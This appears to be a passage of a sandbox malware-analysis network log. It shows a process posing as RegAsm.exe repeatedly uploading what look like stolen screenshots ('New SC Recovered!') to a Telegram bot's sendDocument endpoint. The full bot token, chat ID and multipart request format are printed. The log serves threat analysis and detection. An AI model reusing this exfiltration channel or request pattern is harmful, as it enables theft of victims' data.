2024-05-24 05:45:06 UTC	1024	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 64 30 62 62 61 31 36 61 61 62 30 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 36 35 35 33 30 32 38 32 37 34 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 64 30 62 62 61 31 36 61 61 62 30 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 53 43 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 30 39 2f 30 39 2f 32 30 32 34 20 31 30 3a 32 39 3a 30 32 0a 55 73 65 72 Data Ascii: -----------------------------8dcd0bba16aab02Content-Disposition: form-data; name="chat_id"6553028274-----------------------------8dcd0bba16aab02Content-Disposition: form-data; name="caption"New SC Recovered!Time: 09/09/2024 10:29:02User
2024-05-24 05:45:06 UTC	16355	OUT	Data Raw: 02 77 00 01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 8e 8a 28 af a7 3e 38 28 a9 e2 b4 9a 44 12 60 2c 67 a3 31 c0 3f d4 d4 cb 6b 0a fd e6 69 0f b7 03 ff 00 af fa 56 52 ab 08 ee cd 61 46 72 d9 14 68 ad 55 b5 b6 91 39 8b 6f ba b1 cf eb 9a 86 4d 34 f5 86 55 6f 66 f9 4f f8 52 8d 78 3f 22 Data Ascii: w!1AQaq"2B#3Rbr$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?(>8(D`,g1?kiVRaFrhU9oM4UofORx?"
2024-05-24 05:45:06 UTC	16355	OUT	Data Raw: 3c 7b d7 28 27 99 61 68 44 ad e5 37 54 cf 07 f0 a8 ea e1 81 49 dd b1 d4 cc e5 25 68 c7 4b 05 14 51 5e 81 e4 85 14 51 40 09 5d 1f 85 27 86 18 ee bc d9 a3 8f 25 71 bd 80 cf 5f 5a e7 28 ac 6b d2 f6 b0 e5 bd 8e 9c 35 7f 61 53 9e d7 3d 0b ed f6 7f f3 f9 07 fd fd 5f f1 a4 fb 7d 97 fc fe 5b ff 00 df d5 ff 00 1a f3 ea 2b 8b fb 3f fb df 87 fc 13 d1 fe d6 fe e7 e3 ff 00 00 f4 1f b7 d9 7f cf e5 bf fd fd 5f f1 ae 3f 5f 92 39 75 89 de 27 57 43 b7 0c a7 20 fc a3 bd 67 51 5b 50 c2 7b 29 f3 73 5c e7 c4 e3 fd bc 39 39 6d f3 ff 00 80 14 51 45 76 9e 70 51 45 14 01 a5 e1 cf f9 0e db 7f c0 bf f4 13 5d d5 79 9d 26 07 a5 70 62 30 92 ab 3e 64 cf 53 0b 8e 8d 0a 7c 8d 5c f4 da 2b cc b0 3d 28 c0 f4 ac 3f b3 e5 fc c7 4f f6 ac 3f 95 9d cf 89 3f e4 05 71 ff 00 00 ff 00 d0 85 70 d4 62 Data Ascii: <{('ahD7TI%hKQ^Q@]'%q_Z(k5aS=_}[+?_?_9u'WC gQ[P{)s\99mQEvpQE]y&pb0>dS\|\+=(?O??qpb
2024-05-24 05:45:06 UTC	16355	OUT	Data Raw: 31 a8 ff 00 c8 4a eb fe ba bf f3 35 c7 80 fe 23 f4 ff 00 23 5c d7 f8 2b d7 f4 65 7a 28 a2 bd 73 e7 42 8a 28 a0 0e d3 fe 59 e8 df ef 8f fd 12 f4 fb bd 62 ce d3 50 82 ca 57 c4 92 f7 ec be 99 fa d6 7e ad 7b fd 9d a3 e9 b7 61 37 98 ca e0 7b 98 98 0f e7 5c 25 c4 f2 dc ce f3 cc e5 e4 73 96 26 bc 9c 3e 1b db 2b bd 8f a8 c4 62 7d 8b b2 dc f5 92 46 40 cf 26 b3 1f fd 46 b5 fe f1 ff 00 d1 29 5c 7b 6b 17 33 5b da 5c 89 4f da ac 4e 0e 4f 0e 87 bf f4 3e b9 15 d3 58 de a6 a1 a4 ea b7 71 82 ab 21 63 83 d8 88 50 11 f9 8a ce a6 1e 54 a2 db fe b5 34 a7 88 8d 59 24 bf ad 0e 5a 8a 29 6b db 3e 50 4a 28 a2 80 29 ea 7f f1 ee bf ef 8f e4 6b 47 fe 11 eb 69 35 4d 32 28 a4 9b ec b7 70 79 cc cc c3 72 e0 12 79 c6 3d 2b 3b 53 ff 00 8f 75 ff 00 7c 7f 23 5b ba 7e a7 6a be 11 2f 24 f1 8b Data Ascii: 1J5##\+ez(sB(YbPW~{a7{\%s&>+b}F@&F)\{k3[\ONO>Xq!cPT4Y$Z)k>PJ()kGi5M2(pyry=+;Su\|#[~j/$
2024-05-24 05:45:06 UTC	15447	OUT	Data Raw: 5c b2 0a 28 a2 b6 39 c2 8a 28 a0 02 8a 28 a0 02 8a 28 a0 02 8a 28 a0 02 92 96 92 81 85 14 51 40 05 14 51 40 09 45 14 50 01 45 14 50 01 45 14 50 30 a4 a2 8a 00 28 a2 8a 60 14 51 45 00 14 51 45 00 25 14 51 40 c2 92 96 92 80 0a 28 a2 81 85 14 51 40 09 45 14 50 01 45 14 50 30 a4 34 bd a9 28 00 a2 8a 28 01 28 a2 8a 06 14 94 b4 94 00 51 45 14 00 94 52 d2 50 30 a2 8a 28 00 a4 a2 8a 63 0a 28 a2 80 12 8a 33 49 9a 06 2d 25 25 14 05 83 3e d4 99 a2 8a 06 14 94 b4 94 00 52 52 d2 50 30 a2 8a 28 18 52 51 45 00 14 94 b4 94 0c 28 a2 8a 00 4a 28 a2 81 88 68 a2 8a 00 29 29 69 28 18 52 52 d2 50 01 49 4b 45 05 09 45 14 94 02 16 92 8a 28 01 0d 14 51 40 c2 92 96 92 81 85 25 14 50 02 51 4b 49 40 c2 92 96 92 81 85 25 14 50 01 49 4b 45 03 12 8a 28 a0 61 49 45 25 00 2d 25 14 50 30 Data Ascii: \(9((((Q@Q@EPEPEP0(`QEQE%Q@(Q@EPEP04(((QERP0(c(3I-%%>RRP0(RQE(J(h))i(RRPIKEE(Q@%PQKI@%PIKE(aIE%-%P0
2024-05-24 05:45:06 UTC	1179	OUT	Data Raw: 56 f6 95 ab 20 89 60 9d b6 32 f0 ad ea 2b 06 8a 99 45 49 59 91 38 29 ab 33 d3 34 dd 4e ee e5 b6 bd e6 d8 10 65 e4 3b 41 c7 a6 ee bf ad 65 78 ab c4 f0 49 6a f6 16 12 09 0c 83 12 48 bd 00 f4 1e b5 c4 51 5c 8f 06 a7 55 54 a8 ef 6d 91 b5 29 ba 54 dc 17 5e a1 45 14 57 71 01 5a fa 46 a8 b0 27 d9 e7 38 4f e1 6f 4f 6a 64 3e 1c d5 e7 85 26 8e d3 74 72 28 65 3e 62 0c 83 c8 ef 4f ff 00 84 5f 5a ff 00 9f 2f fc 8a 9f e3 4a 54 dc 95 9a 33 9f 24 95 9b 3a fd 33 54 bc 99 92 18 ae c7 97 fd fc 29 2a be cc 79 15 1f 88 bc 51 6d 69 68 f6 d6 53 09 ae 58 15 dc a7 21 3d f3 dc d7 29 ff 00 08 be b5 ff 00 3e 5f f9 15 3f c6 8f f8 45 f5 af f9 f2 ff 00 c8 a9 fe 35 c7 3c 03 ab 35 2a 8d b4 ba 1a d0 aa a8 c5 c5 3d 5f 53 1e 8a d2 1a 0e a8 c0 11 6b c1 e7 ef af f8 d6 7c b1 bc 52 bc 52 0c 3a Data Ascii: V `2+EIY8)34Ne;AexIjHQ\UTm)T^EWqZF'8OoOjd>&tr(e>bO_Z/JT3$:3T)yQmihSX!=)>_?E5<5=_Sk\|RR:
2024-05-24 05:45:06 UTC	50	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 64 30 62 62 61 31 36 61 61 62 30 32 2d 2d 0d 0a Data Ascii: -----------------------------8dcd0bba16aab02--
2024-05-24 05:45:06 UTC	402	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Fri, 24 May 2024 05:45:06 GMT Content-Type: application/json Content-Length: 56 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":false,"error_code":400,"description":"Logged out"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.7	49725	149.154.167.220	443	6596	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 05:45:17 UTC	262	OUT	POST /bot7043330881:AAFq19dRSS-89_wbwEvbuucof5Z3tCHG2NY/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dcd5bf69ee82a1 Host: api.telegram.org Content-Length: 66989 Expect: 100-continue Connection: Keep-Alive
2024-05-24 05:45:17 UTC	25	IN	HTTP/1.1 100 Continue
2024-05-24 05:45:17 UTC	1024	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 64 35 62 66 36 39 65 65 38 32 61 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 36 35 35 33 30 32 38 32 37 34 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 64 35 62 66 36 39 65 65 38 32 61 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 53 43 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 30 39 2f 31 35 2f 32 30 32 34 20 31 39 3a 31 38 3a 34 37 0a 55 73 65 72 Data Ascii: -----------------------------8dcd5bf69ee82a1Content-Disposition: form-data; name="chat_id"6553028274-----------------------------8dcd5bf69ee82a1Content-Disposition: form-data; name="caption"New SC Recovered!Time: 09/15/2024 19:18:47User
2024-05-24 05:45:17 UTC	16355	OUT	Data Raw: 02 77 00 01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 8e 8a 28 af a7 3e 38 28 a9 e2 b4 9a 44 12 60 2c 67 a3 31 c0 3f d4 d4 cb 6b 0a fd e6 69 0f b7 03 ff 00 af fa 56 52 ab 08 ee cd 61 46 72 d9 14 68 ad 55 b5 b6 91 39 8b 6f ba b1 cf eb 9a 86 4d 34 f5 86 55 6f 66 f9 4f f8 52 8d 78 3f 22 Data Ascii: w!1AQaq"2B#3Rbr$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?(>8(D`,g1?kiVRaFrhU9oM4UofORx?"
2024-05-24 05:45:17 UTC	16355	OUT	Data Raw: 3c 7b d7 28 27 99 61 68 44 ad e5 37 54 cf 07 f0 a8 ea e1 81 49 dd b1 d4 cc e5 25 68 c7 4b 05 14 51 5e 81 e4 85 14 51 40 09 5d 1f 85 27 86 18 ee bc d9 a3 8f 25 71 bd 80 cf 5f 5a e7 28 ac 6b d2 f6 b0 e5 bd 8e 9c 35 7f 61 53 9e d7 3d 0b ed f6 7f f3 f9 07 fd fd 5f f1 a4 fb 7d 97 fc fe 5b ff 00 df d5 ff 00 1a f3 ea 2b 8b fb 3f fb df 87 fc 13 d1 fe d6 fe e7 e3 ff 00 00 f4 1f b7 d9 7f cf e5 bf fd fd 5f f1 ae 3f 5f 92 39 75 89 de 27 57 43 b7 0c a7 20 fc a3 bd 67 51 5b 50 c2 7b 29 f3 73 5c e7 c4 e3 fd bc 39 39 6d f3 ff 00 80 14 51 45 76 9e 70 51 45 14 01 a5 e1 cf f9 0e db 7f c0 bf f4 13 5d d5 79 9d 26 07 a5 70 62 30 92 ab 3e 64 cf 53 0b 8e 8d 0a 7c 8d 5c f4 da 2b cc b0 3d 28 c0 f4 ac 3f b3 e5 fc c7 4f f6 ac 3f 95 9d cf 89 3f e4 05 71 ff 00 00 ff 00 d0 85 70 d4 62 Data Ascii: <{('ahD7TI%hKQ^Q@]'%q_Z(k5aS=_}[+?_?_9u'WC gQ[P{)s\99mQEvpQE]y&pb0>dS\|\+=(?O??qpb
2024-05-24 05:45:17 UTC	16355	OUT	Data Raw: 31 a8 ff 00 c8 4a eb fe ba bf f3 35 c7 80 fe 23 f4 ff 00 23 5c d7 f8 2b d7 f4 65 7a 28 a2 bd 73 e7 42 8a 28 a0 0e d3 fe 59 e8 df ef 8f fd 12 f4 fb bd 62 ce d3 50 82 ca 57 c4 92 f7 ec be 99 fa d6 7e ad 7b fd 9d a3 e9 b7 61 37 98 ca e0 7b 98 98 0f e7 5c 25 c4 f2 dc ce f3 cc e5 e4 73 96 26 bc 9c 3e 1b db 2b bd 8f a8 c4 62 7d 8b b2 dc f5 92 46 40 cf 26 b3 1f fd 46 b5 fe f1 ff 00 d1 29 5c 7b 6b 17 33 5b da 5c 89 4f da ac 4e 0e 4f 0e 87 bf f4 3e b9 15 d3 58 de a6 a1 a4 ea b7 71 82 ab 21 63 83 d8 88 50 11 f9 8a ce a6 1e 54 a2 db fe b5 34 a7 88 8d 59 24 bf ad 0e 5a 8a 29 6b db 3e 50 4a 28 a2 80 29 ea 7f f1 ee bf ef 8f e4 6b 47 fe 11 eb 69 35 4d 32 28 a4 9b ec b7 70 79 cc cc c3 72 e0 12 79 c6 3d 2b 3b 53 ff 00 8f 75 ff 00 7c 7f 23 5b ba 7e a7 6a be 11 2f 24 f1 8b Data Ascii: 1J5##\+ez(sB(YbPW~{a7{\%s&>+b}F@&F)\{k3[\ONO>Xq!cPT4Y$Z)k>PJ()kGi5M2(pyry=+;Su\|#[~j/$
2024-05-24 05:45:17 UTC	15447	OUT	Data Raw: 5c b2 0a 28 a2 b6 39 c2 8a 28 a0 02 8a 28 a0 02 8a 28 a0 02 8a 28 a0 02 92 96 92 81 85 14 51 40 05 14 51 40 09 45 14 50 01 45 14 50 01 45 14 50 30 a4 a2 8a 00 28 a2 8a 60 14 51 45 00 14 51 45 00 25 14 51 40 c2 92 96 92 80 0a 28 a2 81 85 14 51 40 09 45 14 50 01 45 14 50 30 a4 34 bd a9 28 00 a2 8a 28 01 28 a2 8a 06 14 94 b4 94 00 51 45 14 00 94 52 d2 50 30 a2 8a 28 00 a4 a2 8a 63 0a 28 a2 80 12 8a 33 49 9a 06 2d 25 25 14 05 83 3e d4 99 a2 8a 06 14 94 b4 94 00 52 52 d2 50 30 a2 8a 28 18 52 51 45 00 14 94 b4 94 0c 28 a2 8a 00 4a 28 a2 81 88 68 a2 8a 00 29 29 69 28 18 52 52 d2 50 01 49 4b 45 05 09 45 14 94 02 16 92 8a 28 01 0d 14 51 40 c2 92 96 92 81 85 25 14 50 02 51 4b 49 40 c2 92 96 92 81 85 25 14 50 01 49 4b 45 03 12 8a 28 a0 61 49 45 25 00 2d 25 14 50 30 Data Ascii: \(9((((Q@Q@EPEPEP0(`QEQE%Q@(Q@EPEP04(((QERP0(c(3I-%%>RRP0(RQE(J(h))i(RRPIKEE(Q@%PQKI@%PIKE(aIE%-%P0
2024-05-24 05:45:17 UTC	1403	OUT	Data Raw: 2b 73 4c f1 24 f6 76 3f 60 b9 b5 82 fe cf 3b 96 1b 85 c8 53 ea 0f 6f c2 b0 e8 aa 20 dc d4 fc 49 3d e5 8f d8 2d ad 60 b0 b3 ce e6 86 dd 70 18 fa 93 df f1 ac 3a 28 a0 02 8a 28 a6 01 5a f7 3e 27 d7 2e 2e a5 9f fb 56 f2 2f 31 cb f9 71 5c 3a a2 e4 e7 0a 33 c0 1d ab 22 8a 40 69 cb ae 5f 4f 3c 33 dc 49 e7 cd 15 b4 96 de 64 a5 99 99 5c 38 24 92 79 20 48 71 f4 15 99 45 14 00 51 45 14 00 57 5d 37 8c 62 b9 8e 24 96 d1 e3 f2 d7 00 ab 06 cf f2 c7 4a e4 68 a4 92 e7 53 ea b6 07 ac 5c 7a 33 b2 9b c6 d0 cf 17 94 da 69 88 1e ae b2 06 3f 96 07 f3 ac fd 67 c4 ab a8 e9 0b a7 25 b3 2a ab 87 12 33 72 71 9e d8 f7 f5 ae 76 8a ce 34 61 18 a8 25 a2 77 eb b9 4e 6d cb 9b ad ac 14 51 45 6a 48 56 f6 95 ab 20 89 60 9d b6 32 f0 ad ea 2b 06 8a 99 45 49 59 91 38 29 ab 33 d3 34 dd 4e ee e5 Data Ascii: +sL$v?`;So I=-`p:((Z>'..V/1q\:3"@i_O<3Id\8$y HqEQEW]7b$JhS\z3i?g%*3rqv4a%wNmQEjHV `2+EIY8)34N
2024-05-24 05:45:17 UTC	50	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 64 35 62 66 36 39 65 65 38 32 61 31 2d 2d 0d 0a Data Ascii: -----------------------------8dcd5bf69ee82a1--
2024-05-24 05:45:18 UTC	402	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Fri, 24 May 2024 05:45:18 GMT Content-Type: application/json Content-Length: 56 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":false,"error_code":400,"description":"Logged out"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.7	49726	149.154.167.220	443	6596	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 05:45:22 UTC	262	OUT	POST /bot7043330881:AAFq19dRSS-89_wbwEvbuucof5Z3tCHG2NY/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dcd96a0224ce84 Host: api.telegram.org Content-Length: 66765 Expect: 100-continue Connection: Keep-Alive
2024-05-24 05:45:23 UTC	25	IN	HTTP/1.1 100 Continue
2024-05-24 05:45:23 UTC	1024	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 64 39 36 61 30 32 32 34 63 65 38 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 36 35 35 33 30 32 38 32 37 34 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 64 39 36 61 30 32 32 34 63 65 38 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 53 43 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 30 39 2f 32 30 2f 32 30 32 34 20 31 31 3a 33 37 3a 33 30 0a 55 73 65 72 Data Ascii: -----------------------------8dcd96a0224ce84Content-Disposition: form-data; name="chat_id"6553028274-----------------------------8dcd96a0224ce84Content-Disposition: form-data; name="caption"New SC Recovered!Time: 09/20/2024 11:37:30User
2024-05-24 05:45:23 UTC	16355	OUT	Data Raw: 02 77 00 01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 8e 8a 28 af a7 3e 38 28 a9 e2 b4 9a 44 12 60 2c 67 a3 31 c0 3f d4 d4 cb 6b 0a fd e6 69 0f b7 03 ff 00 af fa 56 52 ab 08 ee cd 61 46 72 d9 14 68 ad 55 b5 b6 91 39 8b 6f ba b1 cf eb 9a 86 4d 34 f5 86 55 6f 66 f9 4f f8 52 8d 78 3f 22 Data Ascii: w!1AQaq"2B#3Rbr$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?(>8(D`,g1?kiVRaFrhU9oM4UofORx?"
2024-05-24 05:45:23 UTC	16355	OUT	Data Raw: 3c 7b d7 28 27 99 61 68 44 ad e5 37 54 cf 07 f0 a8 ea e1 81 49 dd b1 d4 cc e5 25 68 c7 4b 05 14 51 5e 81 e4 85 14 51 40 09 5d 1f 85 27 86 18 ee bc d9 a3 8f 25 71 bd 80 cf 5f 5a e7 28 ac 6b d2 f6 b0 e5 bd 8e 9c 35 7f 61 53 9e d7 3d 0b ed f6 7f f3 f9 07 fd fd 5f f1 a4 fb 7d 97 fc fe 5b ff 00 df d5 ff 00 1a f3 ea 2b 8b fb 3f fb df 87 fc 13 d1 fe d6 fe e7 e3 ff 00 00 f4 1f b7 d9 7f cf e5 bf fd fd 5f f1 ae 3f 5f 92 39 75 89 de 27 57 43 b7 0c a7 20 fc a3 bd 67 51 5b 50 c2 7b 29 f3 73 5c e7 c4 e3 fd bc 39 39 6d f3 ff 00 80 14 51 45 76 9e 70 51 45 14 01 a5 e1 cf f9 0e db 7f c0 bf f4 13 5d d5 79 9d 26 07 a5 70 62 30 92 ab 3e 64 cf 53 0b 8e 8d 0a 7c 8d 5c f4 da 2b cc b0 3d 28 c0 f4 ac 3f b3 e5 fc c7 4f f6 ac 3f 95 9d cf 89 3f e4 05 71 ff 00 00 ff 00 d0 85 70 d4 62 Data Ascii: <{('ahD7TI%hKQ^Q@]'%q_Z(k5aS=_}[+?_?_9u'WC gQ[P{)s\99mQEvpQE]y&pb0>dS\|\+=(?O??qpb
2024-05-24 05:45:23 UTC	16355	OUT	Data Raw: 31 a8 ff 00 c8 4a eb fe ba bf f3 35 c7 80 fe 23 f4 ff 00 23 5c d7 f8 2b d7 f4 65 7a 28 a2 bd 73 e7 42 8a 28 a0 0e d3 fe 59 e8 df ef 8f fd 12 f4 fb bd 62 ce d3 50 82 ca 57 c4 92 f7 ec be 99 fa d6 7e ad 7b fd 9d a3 e9 b7 61 37 98 ca e0 7b 98 98 0f e7 5c 25 c4 f2 dc ce f3 cc e5 e4 73 96 26 bc 9c 3e 1b db 2b bd 8f a8 c4 62 7d 8b b2 dc f5 92 46 40 cf 26 b3 1f fd 46 b5 fe f1 ff 00 d1 29 5c 7b 6b 17 33 5b da 5c 89 4f da ac 4e 0e 4f 0e 87 bf f4 3e b9 15 d3 58 de a6 a1 a4 ea b7 71 82 ab 21 63 83 d8 88 50 11 f9 8a ce a6 1e 54 a2 db fe b5 34 a7 88 8d 59 24 bf ad 0e 5a 8a 29 6b db 3e 50 4a 28 a2 80 29 ea 7f f1 ee bf ef 8f e4 6b 47 fe 11 eb 69 35 4d 32 28 a4 9b ec b7 70 79 cc cc c3 72 e0 12 79 c6 3d 2b 3b 53 ff 00 8f 75 ff 00 7c 7f 23 5b ba 7e a7 6a be 11 2f 24 f1 8b Data Ascii: 1J5##\+ez(sB(YbPW~{a7{\%s&>+b}F@&F)\{k3[\ONO>Xq!cPT4Y$Z)k>PJ()kGi5M2(pyry=+;Su\|#[~j/$
2024-05-24 05:45:23 UTC	15447	OUT	Data Raw: 5c b2 0a 28 a2 b6 39 c2 8a 28 a0 02 8a 28 a0 02 8a 28 a0 02 8a 28 a0 02 92 96 92 81 85 14 51 40 05 14 51 40 09 45 14 50 01 45 14 50 01 45 14 50 30 a4 a2 8a 00 28 a2 8a 60 14 51 45 00 14 51 45 00 25 14 51 40 c2 92 96 92 80 0a 28 a2 81 85 14 51 40 09 45 14 50 01 45 14 50 30 a4 34 bd a9 28 00 a2 8a 28 01 28 a2 8a 06 14 94 b4 94 00 51 45 14 00 94 52 d2 50 30 a2 8a 28 00 a4 a2 8a 63 0a 28 a2 80 12 8a 33 49 9a 06 2d 25 25 14 05 83 3e d4 99 a2 8a 06 14 94 b4 94 00 52 52 d2 50 30 a2 8a 28 18 52 51 45 00 14 94 b4 94 0c 28 a2 8a 00 4a 28 a2 81 88 68 a2 8a 00 29 29 69 28 18 52 52 d2 50 01 49 4b 45 05 09 45 14 94 02 16 92 8a 28 01 0d 14 51 40 c2 92 96 92 81 85 25 14 50 02 51 4b 49 40 c2 92 96 92 81 85 25 14 50 01 49 4b 45 03 12 8a 28 a0 61 49 45 25 00 2d 25 14 50 30 Data Ascii: \(9((((Q@Q@EPEPEP0(`QEQE%Q@(Q@EPEP04(((QERP0(c(3I-%%>RRP0(RQE(J(h))i(RRPIKEE(Q@%PQKI@%PIKE(aIE%-%P0
2024-05-24 05:45:23 UTC	1179	OUT	Data Raw: 56 f6 95 ab 20 89 60 9d b6 32 f0 ad ea 2b 06 8a 99 45 49 59 91 38 29 ab 33 d3 34 dd 4e ee e5 b6 bd e6 d8 10 65 e4 3b 41 c7 a6 ee bf ad 65 78 ab c4 f0 49 6a f6 16 12 09 0c 83 12 48 bd 00 f4 1e b5 c4 51 5c 8f 06 a7 55 54 a8 ef 6d 91 b5 29 ba 54 dc 17 5e a1 45 14 57 71 01 5a fa 46 a8 b0 27 d9 e7 38 4f e1 6f 4f 6a 64 3e 1c d5 e7 85 26 8e d3 74 72 28 65 3e 62 0c 83 c8 ef 4f ff 00 84 5f 5a ff 00 9f 2f fc 8a 9f e3 4a 54 dc 95 9a 33 9f 24 95 9b 3a fd 33 54 bc 99 92 18 ae c7 97 fd fc 29 2a be cc 79 15 1f 88 bc 51 6d 69 68 f6 d6 53 09 ae 58 15 dc a7 21 3d f3 dc d7 29 ff 00 08 be b5 ff 00 3e 5f f9 15 3f c6 8f f8 45 f5 af f9 f2 ff 00 c8 a9 fe 35 c7 3c 03 ab 35 2a 8d b4 ba 1a d0 aa a8 c5 c5 3d 5f 53 1e 8a d2 1a 0e a8 c0 11 6b c1 e7 ef af f8 d6 7c b1 bc 52 bc 52 0c 3a Data Ascii: V `2+EIY8)34Ne;AexIjHQ\UTm)T^EWqZF'8OoOjd>&tr(e>bO_Z/JT3$:3T)yQmihSX!=)>_?E5<5=_Sk\|RR:
2024-05-24 05:45:23 UTC	50	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 64 39 36 61 30 32 32 34 63 65 38 34 2d 2d 0d 0a Data Ascii: -----------------------------8dcd96a0224ce84--
